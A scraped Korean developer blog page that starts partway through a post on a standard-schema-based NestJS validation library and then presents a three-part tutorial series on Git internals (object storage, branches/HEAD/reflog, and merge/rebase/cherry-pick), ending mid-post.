또한, OpenAPI - Swagger와의 통합도 직접 구현해야해요. NestJS는 @nestjs/swagger 패키지를 통해 class-validator 데코레이터 기반으로 자동으로 스키마를 생성하기 때문입니다.

class CreateUserDto {
  @ApiProperty()
  @IsString()
  name: string;

  @ApiProperty({ format: 'email' })
  @IsEmail()
  email: string;
}

 

Pipe 예시처럼 Zod를 예시로 들어볼게요. Zod를 사용하면 스키마와 Swagger 데코레이터를 따로 관리해야 합니다.

스키마와 DTO를 따로 관리하다보니 필드 추가/변경 시 두 곳 모두 수정이 필요해요. 유지보수 포인트가 늘어나게 되겠죠.

const CreateUserSchema = z.object({
  name: z.string(),
  email: z.string().email(),
});

// Swagger용으로 별도 클래스 정의 필요
class CreateUserDto {
  @ApiProperty({ description: 'User name' })
  name: string;

  @ApiProperty({ format: 'email', description: 'User email' })
  email: string;
}

 

물론, 별도의 라이브러리인 zod-to-openapi 등을 사용할 수 있지만, 변환 로직을 별도로 구현해야해요.

import { extendZodWithOpenApi } from '@asteasolutions/zod-to-openapi';

extendZodWithOpenApi(z);

const CreateUserSchema = z.object({
  name: z.string().openapi({ description: 'User name' }),
  email: z.string().email().openapi({ format: 'email' }),
});

/**
 * (TODO): OpenAPI 문서 생성 로직 별도 구현
 */

 

마지막으로 각 Validator마다 다른 인터페이스에 대한 학습이 필요해요.

 

요약하자면 Validator을 변경하기 위해 NestJS와의 통합 레이어를 처음부터 다시 만들어야 할 수도 있어요.

 

 

해결하고자 한 것

저는, 위에서 설명한 이런 불편함들을 해소하고자 standard-schema 기반으로 NestJS 통합 Validator 레이어를 구현했어요.

standard-schema는 JavaScript/TypeScript validation 라이브러리들이 공통으로 구현하는 인터페이스 스펙으로
각 Validator마다 API가 다른 문제들을 해결하기 위한 공통 인터페이스를 정의한 라이브러리에요.
현재 Zod, Valibot, ArkType, TypeBox 등 23개 이상의 validator가 이 스펙을 구현하고 있어요.

 

import { StandardValidationPipe, createStandardDto } from '@mag123c/nestjs-stdschema';

// Zod
import { z } from 'zod';

const CreateUserSchema = z.object({
  name: z.string(),
  email: z.string().email(),
});

// Valibot
import * as v from 'valibot';

const CreateUserSchema = v.object({
  name: v.string(),
  email: v.pipe(v.string(), v.email()),
});


// DTO 생성 (OpenAPI 메타데이터 자동 연동)
class CreateUserDto extends createStandardDto(CreateUserSchema) {}

// 사용 - Zod든 Valibot이든 동일한 Pipe
@Post()
create(@Body(new StandardValidationPipe(CreateUserSchema)) body: CreateUserDto) {
  return body;
}

 

만약 Validator을 변경하더라도, Pipe와 DTO 구조는 그대로 가져갈 수 있도록 래핑했습니다.

 

특정 벤더에 종속되지 않고, NestJS의 이슈에서 메인테이너가 제안했던 NestJS 아키텍처 패턴을 반영했다고 보시면 돼요. Pipe 기반 검증, OpenAPI의 통합, Response Serialization(Interceptor 응답 필터링)이 이에 해당해요.

 

 

트레이드오프 및 고려사항

장점만 있는건 당연히 아니겠죠. 도입 전 고려해야 할 점들이 있습니다.

 

 

자주 바꾸지 않는 Validator

우선 이 오픈소스 자체가 커뮤니티의 니즈이지, 제 니즈는 아니었어요. 풀어서 써보자면,

저는 하나의 프로젝트를 만들 때, Validator을 고르면 바꾼 적이 없어요. cv/cf, typia 등 하나의 Validator을 그대로 가져갔었어요.

그렇기 때문에 cv/cf 외에 다른 라이브러리를 선택해서 NestJS 아키텍처와 맞추기 위해 여러 커스터마이징 작업을 하더라도 한 번 구축하면 거의 손 볼 일이 없어요.

 

하나의 프로젝트에서 여러 Validator을 사용하거나, 다른 라이브러리로의 전환을 고려하고 있지 않다면 굳이 사용하지 않을 것 같아요.

 

 

기존 프로젝트 마이그레이션 비용

위의 연장선으로, NestJS를 사용하신다면 이미 cv(class-validator)로 구축된 프로젝트가 많을 것이라고 생각되는데요, DTO를 스키마 기반으로 전환해야해요.

// Before: class-validator
class CreateUserDto {
  @IsString()
  name: string;
}

// After: 스키마 기반
const CreateUserSchema = z.object({ name: z.string() });
class CreateUserDto extends createStandardDto(CreateUserSchema) {}

 

 

학습 곡선

cv의 데코레이터 방식에 익숙한 개발자라면, 스키마 기반 패턴이 낯설 수 있어요.

 

 

OpenAPI 자동 생성의 한계

Zod v4 이전 버전이나 다른 Validator을 사용한다면 OpenAPI 스키마를 직접 정의해야하는 불편함이 남아있어요.

// 수동 OpenAPI 메타데이터
class UserDto extends createStandardDto(ValibotSchema, {
  openapi: {
    name: { type: 'string', example: 'John' },
    email: { type: 'string', format: 'email' },
  },
}) {}

 

 

레퍼런스의 부재

아무래도 새로 만든 오픈소스다보니 레퍼런스가 부재해요.

저도 노력하고, 커뮤니티의 선택도 더러 받는다면 좋은 레퍼런스들이 많이 생기지 않을까 생각합니다.

 

 

 

마치며

커뮤니티의 작은 니즈에서 시작한 프로젝트로 비슷한 고민을 하시는 분들께 도움이 되길 바랍니다.

 

피드백이나 기여는 언제든 환영해요. 이를테면 ArkType, TypeBox등은 standard-schema 스펙을 구현하므로 이론적으로 호환되지만, 직접 테스트되지는 않았습니다.

 

https://github.com/mag123c/nestjs-stdschema

https://www.npmjs.com/package/@mag123c/nestjs-stdschema

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

Git merge / rebase / cherry-pick으로 히스토리 다루기

Tech/기타 2025. 11. 21. 18:24
728x90
728x90

 

 

 

 

 

[이전글] Git의 데이터 저장 방식과 commit 이해하기

[이전글] Branch와 HEAD로 보는 Git 히스토리 모델(DAG) 이해하기

 

 

 

서론

1,2편의 포커스는 Git 안에 무엇이 저장되고 그 위에 branch/HEAD가 어떤 히스토리 그래프를 만드는지였습니다.

이번 편에서는 이 히스토리 위에서 실제로 우리가 사용하는 merge/rebase/cherry-pick 명령어들이 DAG 위에서 어떻게 커밋을 합치고 다시 쓰는지를 정리해보려고 합니다.

 

 

사용할 예제 레포

이번 글에서는 새로운 레포를 하나 생성해서 사용하려고 합니다.

git init git-merge-rebase-demo
cd git-merge-rebase-demo

echo "console.log('hello');" > app.js
git add app.js
git commit -m "init: add app.js"

 

간단하게 새 디렉토리에서, app.js 파일 하나만 커밋했습니다. 저는 여기에서, 기능 하나를 branch에서 개발한다고 가정하고 두 개의 커밋을 추가해보겠습니다.

git switch -c feature/login

echo "function login() {}" >> app.js
git add app.js
git commit -m "feat: add empty login"

echo "function validateUser() {}" >> app.js
git add app.js
git commit -m "feat: add validateUser"

 

마지막으로, 이 상태에서 main branch에도 작업을 추가하겠습니다.

git switch main

echo "console.log('tracking...');" >> analytics.js
git add analytics.js
git commit -m "feat: add analytics"

 

 

 

 

 

merge

git merge 는 현재 branch에 다른 branch의 변경 사항을 통합하는 명령입니다. 독립적으로 진행된 branch들의 히스토리를 다시 한 줄로 합치는 역할을 합니다. 조금 더 풀어보면 기준이 되는 branch에서 다른 branch에 대한 merge 명령을 실행하면, Git은 두 branch의 공통 조상(merge-base)를 찾고 그 시점 이후의 변경사항을 합쳐 새로운 커밋(merge commit)을 만듭니다.

단 fast-forward가 가능한 경우는 제외되는데, 이는 바로 아래에서 다루겠습니다.

 

 

fast-forward

먼저, 가장 단순한 케이스부터 살펴보겠습니다.

아직 main에서 아무 작업을 하지 않은 상태에서 아래처럼 feature만 앞으로 나간 경우입니다.

 

 

이 상태에서 feature branch를 merge하면 Git은 main도 F2를 가리키게 만들면 되겠다 라고 단순하게 판단합니다.

이 때 새 커밋을 만들지 않고, branch 포인터만 앞으로 이동시키는데 이를 fast-forward라고 합니다. 뒤에서 볼 rebase와 cherry-pick은 공통적으로 다른 곳의 변경을 현재 브랜치 위에 가져온다는 점에서는 비슷하지만, fast-forward와 달리 새 커밋을 만들어서 적용한다는 차이가 있습니다.

 

 

 

 

3-way-merge

앞에서 만든 예제처럼 main과 feature/login이 서로 다르게 진행된 상태를 다시 보겠습니다.

 

 

이 상태에서 다시 feature/login을 merge를 실행해보면 다음과 같은 일들이 일어납니다.

  1. main과 feature/login의 공통 조상(merge-base)를 찾음 (M0)
  2. M0 → M1 사이의 변경과 M0 → F2 사이의 diff를 비교
  3. 둘을 합쳐 새로운 커밋(merge commit)을 생성
  4. main branch에서 새로운 커밋을 가리키도록 함

 

main branch에서 git merge feature/login 명령을 실행한 결과는 다음과 같은 형태가 됩니다.

 

여기서 새로운 커밋(MG)은 병합 대상이었던 두 커밋을 동시에 부모로 가지게 됩니다. DAG 관점에서는 두 갈래가 한 점으로 합쳐지는 노드가 생성되었습니다.

 

정리하면 merge 명령은 기준 branch(현재 HEAD)에서 합치고 싶은 다른 branch의 commit들을 가져와서 공통 조상 이후의 변경 내용을 통합해 새로운 commit을 만드는 명령입니다.

 

 

 

rebase

같은 예제로 rebase를 보겠습니다. 현재 히스토리는 아래처럼 갈라져 있습니다. M0을 기준으로 main도 새로운 커밋이 존재하고, feature/login 또한 M0을 기준으로 새로운 커밋들이 존재합니다.

 

 

git rebase 는 한 branch에서 만들어진 commit들을 다른 시작점으로 옮겨(transplant) 다시 적용하는 명령어입니다.

즉 branch의 base를 다른 commit으로 바꾸는 것처럼 보이게 만들며, 내부적으로는 새 commit들을 만들고 그 위에 다시 쌓는다는 것입니다. 더 쉽게말해 브랜치를 다른 시작점 위로 끌어올려서, 마치 거기서부터 시작한 것처럼 히스토리를 다시 쓰는 것입니다.

 

 

지금 상황에서 feature/login branch에서 main의 내용을 가져오고 싶어서 git rebase main 명령을 실행했다고 해봅시다. 이 때 rebase는 다음과 같이 동작합니다.

  1. feature/login에서 main에 없는 commit 목록을 찾음 (F1, F2)
  2. main의 최신 commit인 M1을 기준으로 F1, F2의 변경 내용을 순서대로 다시 적용하면서 새 commit을 생성
  3. feature/login branch ref를 예전 F2가 아니라 새로운 commit으로 이동

 

 

R1, R2는 F1, F2에서 했던 변경 내용을 main 최신 커밋(M1) 위에 다시 적용한 결과이기 때문에, 코드 관점에서는 같은 변경에 가깝지만 Git 입장에서는 해시, 부모 정보 등이 모두 다른 완전히 새로운 커밋입니다.
 feature/login branch는 이제 R2를 가리키게 되어 F2에 대한 참조가 끊어지게 됩니다. 하지만 1편에서 언급했던 것 처럼 Git의 저장소는 읽기, 쓰기만 가능하기 때문에 참조되지 않는 F1, F2 커밋도 .git/objects와 reflog에 그대로 남아있게 됩니다.

 

 

 

merge vs rebase

같은 상황에서 merge, rebase를 비교해봤습니다.

 

merge는 새 merge commit을 추가해서 히스토리를 합치고 분기/병합 구조가 그래프에 그대로 남기 때문에 타임라인을 보존하고 싶을 때 유리합니다.

 

하지만 rebase는 특정 branch의 새로운 커밋들을 다시 만들어서 다른 branch의 HEAD commit 뒤에 이어 붙입니다. 이전 commit은 더이상 참조되지 않기 때문에 외형상 한 줄짜리 깔끔한 히스토리가 됩니다. 대신 기존 commit의 ID(hash)가 모두 바뀐다는 점을 주의해야합니다.

 

 

 

 

cherry-pick

cherry-pick은 특정 commit만 가져올 때 사용하는 명령입니다. 한 branch 내에 단일 commit 혹은 여러 commit들을 다른 branch의 최신 commit 위에 추가합니다. 앞에서 봤던 merge/rebase가 branch 단위로 여러 commit을 통째로 옮기는 느낌이라면, cherry-pick는 원하는 commit만 골라 복사하는 명령에 가깝습니다.

 

조금 단순한 예제를 하나 더 가정해보겠습니다. 이번에는 main에서 hotfix/log branch를 하나 생성하여 두 개의 hotfix commit을 만들었습니다. H1은 중요한 버그 픽스라 main에도 바로 반영되어야하고, H2는 단순 디버깅 로그라 main에는 바로 반영하지 않아도 된다고 가정하겠습니다.

git switch main
git switch -c hotfix/log

echo "console.log('fix null');" >> analytics.js
git add analytics.js
git commit -m "fix: handle null in analytics"

echo "console.log('extra debug');" >> analytics.js
git add analytics.js
git commit -m "chore: add extra debug log"

 

 

 

git switch main
git cherry-pick H1

 

git cherry-pick 을 실행하면 Git은 H1의 변경 내용을 기준으로 현재 main이 가리키는 M1 위에 새 commit H1'을 하나 더 만듭니다.

 

 

 

main 입장에서는 새 commit이 하나 생성된 것입니다. H1과 내용은 같지만 다른 commit hash를 가진 별도의 커밋이 됩니다.

 

cherry-pick을 과하게 사용하면 내용이 같지만 해시가 다른 커밋들이 여러 군데 생겨서 히스토리 추적이 힘들어질 수 있을 것 같습니다. 그래서 보통은 지금 예시처럼 hotfix 일부만 main에 반영해야 할 때나, 잘못된 브랜치에 커밋했을 때 특정 커밋만 옮기고 싶을 때 정도에 사용하는 편이 좋다고 느꼈습니다.

 

 

 

정리

Git의 내부 동작 원리를 세 편으로 나눠서 정리해봤습니다.

 

1편에서는 Git의 내부 저장소를 해시 기반 K-V 저장소로 보고, blob/tree/commit/tag 객체 구조와 commit 생성 과정을 살펴봤고

2편에서는 commit이 parent 링크로 이어지는 DAG 구조, 그 위에 올라가는 branch/ref/HEAD/tag/reflog를 정리했습니다.

 

이번 편에서는 merge, rebase, cherry-pick을 실제 예제와 다이어그램으로 정리해봤습니다.

merge는 갈라진 히스토리를 새 merge commit으로 합치는 방식, rebase는 브랜치의 base를 바꾸면서 커밋들을 새로 만드는 방식이며 마지막으로 cherry-pick은 특정 커밋만 골라 복사해오는 방식이었습니다.

 

 세 편에서 정리한 내용을 하나로 합치면, Git은 해시 기반 K-V 저장소 위에 commit DAG를 쌓고, 그 위에서 branch/HEAD/tag 같은 ref를 옮기면서 작업하는 도구 라고 최종 요약할 수 있을 것 같습니다.

 

Git을 많이 사용하기 때문에, 단순히 명령어만 익히는 것이 아니라 내부 동작을 어느 정도 이해해 보고 싶어서 이번 시리즈를 학습하고 정리해봤습니다. 조금 더 적재적소에 적절한 명령어를 사용하고 특히 오픈소스를 기여하면서 무수히 많은 개발자들의 commit, branch와 유기적으로 잘 분리하고 병합하여 기여해나갈 수 있겠다는 생각이 듭니다.

 

 

 

 

References.

https://git-scm.com/docs/git-merge

https://git-scm.com/docs/git-rebase

https://git-scm.com/docs/git-cherry-pick

https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging

https://git-scm.com/book/en/v2/Git-Branching-Rebasing

https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History

https://docs.github.com/en/get-started/using-git/about-git-rebase

https://docs.github.com/en/get-started/using-git/using-git-rebase-on-the-command-line

https://docs.github.com/articles/about-pull-request-merges

https://docs.gitlab.com/topics/git/git_rebase

https://docs.gitlab.com/user/project/merge_requests/cherry_pick_changes

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

Branch와 HEAD로 보는 Git 히스토리 모델(DAG) 이해하기

Tech/기타 2025. 11. 20. 17:33
728x90
728x90

 

 

 

 

 

[이전글] Git의 데이터 저장 방식과 commit 이해하기

[다음글] Git merge / rebase / cherry-pick으로 히스토리 다루기

 

 

 

 

서론

이전 글에서는 Git을 내용 기반 주소를 사용하는 Key-Value 저장소 관점에서 바라보면서

  • .git/objects에 쌓이는 Blob / Tree / Commit / Tag 객체
  • git cat-file로 실제 해시를 따라가며 commit → tree → blob 구조
  • 두 커밋 사이에서 어떤 객체들이 재사용/새로 생성되는지
  • git diff가 Tree / Blob 단위로 어떤 식으로 변경 파일을 찾아내는지

까지 정리해봤습니다. 이전 편의 포커스는 Git 안에 무엇이 저장되는가에 대해서였습니다.

 

이번 포스팅에서는 기본적인 저장 방식 위에 객체들을 어떻게 이어붙여 히스토리를 만들고, 히스토리 위에서 branch와 HEAD, tag가 어떻게 움직이는지를 정리해보려고 합니다.

 

1편에서 이미 first, second 커밋이 있는 간단한 레포를 만들어 두었습니다. 이번 글에서는 이전 레포 위에서 branch와 HEAD를 얹어서 보는 느낌으로 진행하려합니다.

 

(ref/branch/HEAD 개념을 더 자세히 알아보기 위해 Pro Git의 Git Internals - References을 참조했습니다.)

 

 

 

커밋 그래프(DAG)

이전 포스팅에서 커밋 객체를 직접 까보면서 아래 정보들을 확인했었습니다.

# first commit
commit 7fc68d4...
tree 3354a0b...
author ...
committer ...

first

# second commit
commit fc912aa...
tree be51317...
parent 7fc68d4...
author ...
committer ...

second

 

여기서 parent 필드를 주목해야합니다. first 커밋은 최초 커밋으로 부모 커밋이 없으며, second 커밋은 first를 부모로 가리키고 있습니다.

 

7fc68d4 (first)  ->  fc912aa (second)

 

이렇게만 보면 커밋들이 단방향 LinkedList처럼 보일 수 있습니다.

 

 

하지만, Git에서는 merge 커밋이 부모를 2개 이상 가질 수 있고, 여러 branch가 갈라졌다가 다시 합쳐질 수 있습니다. 그래서 커밋들은 LinkedList가 아닌 DAG(Directed Acyclic Graph, 방향 비순환 그래프) 구조를 형성합니다.

  • 방향(Directed): commit들은 부모–자식 관계로 이어지고, 보통 부모(과거) → 자식(현재) 방향으로 그래프를 그림
  • 비순환(Acyclic): 과거 커밋이 다시 미래 커밋을 가리키는 식으로의 순환이 생기지 않음

단순하게 정리하자면, 커밋들이 parent 링크로 이어진 그래프 위에서 branch와 HEAD가 움직인다고 할 수 있습니다.

(이 DAG에 대해서는 merge를 다음 포스팅에서 다룬 뒤 더 자세하게 정리해보도록 하겠습니다)

 

 

 

 

ref & branch & HEAD

ref

ref는 특정 커밋을 가리키는 이름(참조) 입니다. branch, tag, remote branch 등은 모두 ref의 한 종류입니다.

  • branch: .git/refs/heads/*
  • tag: .git/refs/tags/*
  • remote branch: .git/refs/remotes/*
$ cat .git/refs/heads/master
fc912aa419552b61e97fb086dae0cefdc20cd58a

 

각 ref 파일 내에는 커밋 해시 한 줄만 들어있습니다. 이 구조 덕분에 어떤 해시를 가리키느냐만 바꿔서 특정 스냅샷을 찾아갈 수 있습니다.

  • 새 커밋을 만들 때: 해당 브랜치를 나타내는 ref 파일 안의 해시가 이전 커밋 → 새 커밋 해시로 바뀜
  • 다른 브랜치로 이동할 때: 각 ref의 해시는 그대로 둔 채 .git/HEAD가 가리키는 ref만 바뀜

 

 

 

branch

우리는 branch를 보통 기능 하나를 개발하는 작업 단위 정도로 쓰지만, 내부적으로 branch는 마지막 커밋을 가리키는 포인터(ref)일 뿐입니다.

 

예를 들어, 1편의 first/second 커밋이 있는 레포에서는 master branch는 second 커밋을 가리키고 있습니다.

$ git log --oneline
fc912aa second
7fc68d4 first

$ cat .git/refs/heads/master
fc912aa419552b61e97fb086dae0cefdc20cd58a

 

 

 

branch를 새로 만들어도 이는 똑같습니다. 최초 생성한 브랜치로 바로 이동하거나(switch -c / checkout -b), 단순히 생성(git branch)할 때 최신 분기가 기준이 되기 때문에 모두 같은 커밋을 가리키는 상태가 됩니다.

$ git branch feature/login
$ git checkout -b feature/logout

$ cat .git/refs/heads/feature/login .git/refs/heads/feature/logout
fc912aa419552b61e97fb086dae0cefdc20cd58a
fc912aa419552b61e97fb086dae0cefdc20cd58a

 

 

 

 

HEAD

여러 branch를 만들고, 우리가 어느 branch에서 작업하고 있는지를 HEAD를 통해 알 수 있습니다.

$ cat .git/HEAD
ref: refs/heads/master

 

.git/HEAD에 저장되어 있는 값은 현재 이 레포에서 어떤 브랜치를 보고 있는지를 나타냅니다. 일반 ref와 달리 브랜치를 직접 가리키는 심볼릭 ref입니다.

 

이해를 돕기 위해 HEAD를 직접 움직여보겠습니다.

$ git switch -c feature/signup

 

위 명령어를 실행하면 .git/refs/heads/feature/signup 파일이 만들어지고, 그 안에 master와 같은 해시가 생성됩니다.

그리고 .git/HEAD의 내용이 변경됩니다.

$ cat .git/refs/heads/feature/signup
fc912aa419552b61e97fb086dae0cefdc20cd58a

$ cat .git/HEAD
ref: refs/heads/feature/signup

 

 

 

 

여기서 새로운 커밋을 만들면, 새 커밋이 하나 생기고 feature/signup 브랜치 ref가 그 커밋을 가리키도록 업데이트됩니다.

HEAD는 변경사항이 없으니 여전히 feature/signup branch의 참조를 유지하게 됩니다.

# feature/signup 브랜치에서
echo "console.log('feature');" >> src/app/main.ts
git add src/app/main.ts
git commit -m "add feature log"

 

 

 

 

 

새 커밋이 생길 때마다 “HEAD가 가리키는 **브랜치 ref**”가 한 칸씩 앞으로 이동하는 모습입니다. HEAD가 직접 해시를 들고 움직이는 게 아니라 HEAD → 브랜치 → 커밋 구조에서 브랜치 → 커밋 관계만 새 커밋으로 바뀌는 셈입니다.

 

 

 

 

tag

branch가 커밋 그래프 위에서 앞으로 움직이는 포인터라면, tag는 한 커밋에 고정된 이름표처럼 쓰입니다. 보통의 오픈소스 릴리즈 등의 버전 관리 등에 자주 쓰이는 그 tag입니다.

 

위에서 언급했다시피 tag는 .git/refs/tags 경로에 생성됩니다. tag 또한 ref의 한 종류이기 때문에, 브랜치와 마찬가지로 태그 파일 안에 커밋 해시가 한 줄 저장됩니다.

 

 

 

branch와의 차이점은, 직접 삭제하지 않으면 특정 시점에 고정해서 쓰는 이름표처럼 쓰입니다. 반면 branch는 새 커밋이 생길 때마다 앞으로 이동하는 포인터입니다. 결국 둘의 차이는 계속 이동시킬 것이냐, 특정 시점에 고정해서 사용할 것이냐의 차이입니다.

 

 

 

reflog

1편에서 Git의 객체가 불변이고, branch/tag 같은 ref만 옮겨 다닌다고 얘기했습니다. 그렇기 때문에 우리는 만약 하드 리셋으로 잘못된 시점으로 리셋하여 작업을 전부 날려먹더라도 복구할 수 있습니다. 커밋 오브젝트는 .git/objects 안에 그대로 있고, 단지 하드 리셋으로 branch ref가 더이상 그 커밋을 가리키지 않을 뿐입니다. 

 

git reset --hard HEAD~1

 

reflog는 Git이 HEAD와 각 branch ref가 이전에 어떤 커밋들을 가리켰었는지를 기록해 두는 로그입니다.

$ git reflog
fc912aa HEAD@{0}: reset: moving to HEAD~1
4741022 HEAD@{1}: commit: add feature log
fc912aa HEAD@{2}: checkout: moving from master to feature/signup
...

 

HEAD가 움직인 기록을 추적할 수 있기 때문에 이 해시들로 새 branch를 만들거나 다시 reset하여 복구할 수 있습니다.

 

정리하자면, 이전 포스팅에서 다뤘던 Git의 객체(Blob / Tree / Commit)는 Insert/Select만 되는 불변 객체들이라 남아있고, reflog는 HEAD/branch가 어디를 가리켰는지에 대한 로그를 확인할 수 있습니다. 그래서 잘못된 reset 이후에도, 로컬 저장소 기준에서는 꽤 많은 경우 커밋을 되살릴 수 있는 수단이 됩니다. (더 자세한 예시는 Pro Git의 Maintenance & Data Recovery에서 확인할 수 있습니다.)

 

 

 

정리

이전 포스팅에서는 Git을 내용 기반 해시를 사용하는 K-V 저장소 위에 객체들을 쌓는다고 정리했습니다.

이번 포스팅에서는 추가로, ref와 branch, HEAD를 같이 정리하여 우리가 전반적으로 사용하는 커밋, 브랜치 생성 및 이동 등의 상황에서 내부적으로 Git이 어떻게 동작하는지 살펴보았습니다. 이 모든 것이 결국 효율적인 Git 저장 객체들을 활용하면서, 커밋 DAG 위에서 움직이는 이름표들의 조합이라고 볼 수 있을 것 같습니다.

 

Git은 commit graph 위에 branch/HEAD 같은 ref를 띄워 둔 구조이고, 우리는 평소에 이 ref들을 옮기면서 작업하고 있다는 관점으로 이해하니까, Git 명령어들이 머리 속에서 조금 더 일관되게 정리되는 느낌입니다.

 

다음 편에서는, merge, rebase를 통해 조금 더 커밋들을 다루고 히스토리에 어떤 차이를 만드는지에 대해 정리해보겠습니다.

 

 

 

 

 

 

References.

https://git-scm.com/book/en/v2/Git-Internals-Git-References

https://www.atlassian.com/git/tutorials/refs-and-the-reflog

https://git-scm.com/docs/git-symbolic-ref

https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery

 

 

 

 

 

 

 

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

Git의 데이터 저장 방식과 commit 이해하기

Tech/기타 2025. 11. 19. 19:39
728x90
728x90

 

 

 

 

 

[다음글] Branch와 HEAD로 보는 Git 히스토리 모델(DAG) 이해하기

[다음글] Git merge / rebase / cherry-pick으로 히스토리 다루기

 

 

 

 

서론

만 2년 넘게 개발을 해오면서 Git을 무수히 많이 사용했지만 정작 내부 원리에 대해서는 생각해 본 적이 없는 것 같아 이번 기회에 학습하면서 관련 내용들을 정리 해보려고 합니다.

 

 

공식 문서에서는 Git을 내용 기반 주소를 사용하는 Key-Value 저장소이자 파일 시스템 정도로 설명합니다.

이번 포스팅에서는, 이 저장 방식에 대한 이해를 토대로 Git의 데이터 저장 방식과 commit까지의 과정에서 어떤 일들이 발생하는지 등에 대해 알아보려고 합니다.

 

 

포스팅에 사용된 디렉토리 구조는 다음과 같습니다.

 

 

 

Git

 

git 레포지토리 내에는 항상 .git/objects 디렉토리가 있습니다. 이 디렉토리 안에 모든 버전의 파일/디렉토리/커밋 정보가 객체 형태로 저장됩니다. Git은 이 오브젝트들을 해시 → 압축된 오브젝트 형태의 Key-Value로 관리합니다.

  • key: 오브젝트 해시 (기본은 40자 SHA-1, 최근 SHA-256 지원)
  • value: 타입(blob/tree/commit/tag) + 내용(zlib 압축)

 

 

Git의 객체

Git이 저장하는 오브젝트 타입은 네 가지입니다.

 

Blob: 파일 내용을 저장하는 객체

blob은 파일의 내용만 저장하는 객체입니다.
우리가 디렉토리에 생성하는 코드 파일, 문서, 기타 텍스트/바이너리 파일들이 여기에 해당합니다.

파일 이름, 경로, 권한 등은 기록되지 않고 오직 내용만 Blob에 저장됩니다.

# src/app/main.ts를 추적
C:\Users\root\Desktop\dev\git-study> git cat-file -p 25b690689b298649c027af668c051282a96eed6c
test

 

Tree: 디렉토리 1개를 나타내는 객체

디렉토리를 나타내는 객체로, mode/type/name/object-hash가 저장됩니다.

# src/app 디렉토리를 추적
C:\Users\root\Desktop\dev\git-study> git cat-file -p 4401420390c38334914cdb88c0b1231d058605d2

# mode type                 hash                         name
100644 blob 25b690689b298649c027af668c051282a96eed6c    main.ts
  • mode: POSIX 파일 모드를 나타내는 6자리 숫자로 파일/디렉토리/실행파일/심볼릭링크 등의 하위 해시값의 판별 정보
  • type: 하위 해시값의 타입 (blob / tree / commit (submodule일 때)
  • hash: 해당 객체의 해시
  • name: 실제 원본 이름

위에 예시에서는 blob 타입의 일반 파일이며, 파일의 해시값과 이름의 k-v를 가지고 있다고 해석할 수 있겠습니다.

 

Commit: 실제 커밋 시점의 프로젝트 스냅샷을 가리키는 객체

우리가 git commit을 할 때 생성되는 오브젝트입니다. 커밋 자체가 코드 내용을 직접 들고 있는 건 아니고, 루트 트리(tree)의 해시와 메타데이터, 부모 커밋 해시를 함께 가지면서 이 시점의 스냅샷은 이 tree를 보면 된다 라고 가리키는 역할을 합니다.

 

Commit 객체에는 커밋 시 작성된 메시지를 포함한 각종 메타데이터들을 가지고 있습니다. git log 명령어를 통해 나온 해시값으로 추적해보면 다음과 같은 정보를 얻을 수 있습니다.

# first commit
git cat-file -p 7fc68d4fc2bca212fb60a2aa8dd55a5c3093c46c
tree 3354a0b3ad3cbd78d1ab5c596208b8fccd9e2cc9
author mag123c <diehreo@gmail.com> 1763531007 +0900
committer mag123c <diehreo@gmail.com> 1763531007 +0900

first

# second commit
git cat-file -p fc912aa419552b61e97fb086dae0cefdc20cd58a
tree be513172b3e4eec559c85d7215444197292d7e92
parent 7fc68d4fc2bca212fb60a2aa8dd55a5c3093c46c
author mag123c <diehreo@gmail.com> 1763531141 +0900
committer mag123c <diehreo@gmail.com> 1763531141 +0900

second
  • tree: 이 커밋이 가리키는 루트 tree의 해시 (루트 디렉토리)
  • parent: (첫 번째 커밋이 아닐 경우) 부모의 commit 해시
  • author / committer / 날짜 / 메시지등의 메타데이터

commit을 만들 때 필요한 재료는 위에서 본 것처럼 메타데이터, 프로젝트 루트 해시, 부모 커밋 해시로 이루어집니다. 이 세가지를 텍스트 형태로 이어 붙인 뒤, 그 전체에 헤더를 붙여 해시를 내면 커밋 오브젝트의 해시가 됩니다.

 

tag: 커밋의 이름을 붙이는 객체

보통 버전관리에 많이 쓰이는 tag 또한 객체로 관리되는데, 이번 포스팅 주제에서는 크게 다루지 않겠습니다.

 

 

Commit을 하면 어떤 일이 일어날까

Git에서 저장을 위해 사용되는 객체들을 살펴봤습니다. 이제 이 객체들을 조합해서 commit을 할 때 내부적으로 어떤 순서로 동작하는지 알아보겠습니다.

 

1. 파일 내용을 blob으로 저장

워킹 디렉토리의 스테이징 영역에서 추적된 파일을 읽습니다. 파일 내용을 읽고, 해싱해서 저장합니다. 이 때 같은 내용의 파일이면 해시가 같으므로 저장하지 않습니다. 이는 아래 예제에서 다루겠습니다.

 

2. 디렉토리를 tree로 저장

이제 디렉토리별 스냅샷을 만듭니다.

  1. 디렉토리의 내부 파일 / 디렉토리를 이름 순으로 정렬
  2. 각 엔트리에 대해 mode / type / hash / name을 나열
  3. 디렉토리 내의 엔트리들을 mode type hash name 형식으로 쭉 나열해서 하나의 바이트 시퀀스로 만들고, 이 전체에 대해 해시를 계산해 tree 오브젝트를 생성합니다.

이 과정을 하위 디렉토리부터 루트까지 재귀적으로 진행하여 루트 디렉토리를 나타내는 하나의 tree 해시를 구합니다.

 

3. commit 객체 생성

커밋 메시지 등의 메타데이터와 트리 해시, 부모 커밋 해시를 이어 붙인 commit 객체를 만들고, 이 내용 전체를 해싱한 값을 생성합니다.

 

당연하겠지만, 스테이징이 있으면 새로운 커밋을 생성하고 변경된 blob이 속한 tree들의 해시가 바뀌고 결론적으로 commit이 새로 생성됩니다. 하위 해시가 바뀌면 관련된 상위 해시도 전파되어서 바뀌게 된다는 뜻입니다.

 

 

 

 

예제로 살펴보기

 

위의 예제 디렉토리 구조를 처음 생성하고 두 개의 커밋을 생성해서 비교해보겠습니다.

  • first: main.ts에 "test"라고 입력 후 커밋
  • second: test.ts에 "TEST"라고 입력 후 커밋
git log

commit fc912aa419552b61e97fb086dae0cefdc20cd58a (HEAD -> master)
Author: mag123c <diehreo@gmail.com>
Date:   Wed Nov 19 14:45:41 2025 +0900

    second

commit 7fc68d4fc2bca212fb60a2aa8dd55a5c3093c46c
Author: mag123c <diehreo@gmail.com>
Date:   Wed Nov 19 14:43:27 2025 +0900

    first

 

git cat-file 명령어의 pretty print(-p)를 통해 첫 번째 커밋을 추적해보겠습니다.

 

# first commit
